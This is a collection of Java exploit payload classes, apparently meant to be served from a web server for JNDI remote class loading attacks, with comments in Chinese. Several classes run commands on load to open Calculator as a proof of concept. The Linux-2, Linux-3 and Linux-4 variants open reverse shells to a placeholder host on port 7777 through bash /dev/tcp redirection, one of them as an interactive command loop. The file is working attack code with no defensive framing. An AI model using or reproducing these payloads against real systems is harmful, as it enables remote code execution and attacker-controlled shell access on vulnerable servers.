content: // 将生成的class文件放入到web路径下，然后开启web服务(MAC-1)
  public class Exploit{
      public Exploit() {}
  
      static
      {
          try {
              String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
                      ? new String[]{"cmd.exe","/c", "calc.exe"}
                      : new String[]{"/bin/bash","-c", "open /Applications/Calculator.app"};
              Runtime.getRuntime().exec(cmds);
          } catch (Exception e) {
              e.printStackTrace();
          }
      }
  
      public static void main(String[] args) {
          Exploit e = new Exploit();
      }
  }
  
  //MAC-2
  import javax.naming.Context;
  import javax.naming.Name;
  import javax.naming.spi.ObjectFactory;
  import java.io.IOException;
  import java.util.Hashtable;
  
  public class Exploit implements ObjectFactory {
  
      @Override
      public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
          exec("xterm");
          return null;
      }
  
      public static String exec(String cmd) {
          try {
              Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
          } catch (IOException e) {
              e.printStackTrace();
          }
          return "";
      }
  
      public static void main(String[] args) {
          exec("123");
      }
  }
  
  //MAC-3
  public class Calc {
      public Calc(){
          try{
              Runtime.getRuntime().exec("open /Applications/Calculator.app/");
          }catch(Exception e){
              e.printStackTrace();
          }
      }
      public static void main(String[] argv){
          Calc e = new Calc();
      }
  }
  
  
  //Linux -1 
  import java.io.IOException;
  import java.util.Hashtable;
  
  import javax.naming.Context;
  import javax.naming.Name;
  import javax.naming.spi.ObjectFactory;
  
  public class Exploit implements ObjectFactory {
  
  	public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)
  			throws Exception {
  		exec();
  		return "";
  	}
  	 public static String exec() {
  	        try {
  	            Runtime.getRuntime().exec("calc");
  	        } catch (IOException e) {
  	            e.printStackTrace();
  	        }
  	        return "";
  	    }
  	 public static void main(String[] args) {
  		 exec();
  	}
  
  }
  
  
  //Linux -2
  public class Exploit {
      public Exploit(){
          try{
              Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/host/7777 0>&1");
          }catch(Exception e){
              e.printStackTrace();
          }
      }
      public static void main(String[] argv){
          Exploit e = new Exploit();
      }
  }
  
  //Linux -3
  import java.lang.Runtime;
  import java.lang.Process;
  
  public class ExpShell1 {
  static {
  try {
  Runtime rt = Runtime.getRuntime();
  
  
  String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/host/7777 0>&1"};
  Process pc = rt.exec(commands);
  pc.waitFor();
  } catch (Exception e) {
  // do nothing
  }
  }
  }
  
  //Linux -4
  import java.io.BufferedReader;
  import java.io.InputStream;
  import java.io.InputStreamReader;
  
  public class Exploit{
      public Exploit() throws Exception{
          //Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});
          Process p =Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/VPS/7777;cat <&5 | while read line; do $line 2>&5 >&5; done"});
          InputStream is= p.getInputStream();
          BufferedReader reader = new BufferedReader(new InputStreamReader(is));
          String line;
          while(
                  (line = reader.readLine()) != null) {
              System.out.println(line);
          }
          p.waitFor();
          is.close();
          reader.close();
          p.destroy();
      }
          public static void main(String[] args) throws Exception{
  
          }
  }
  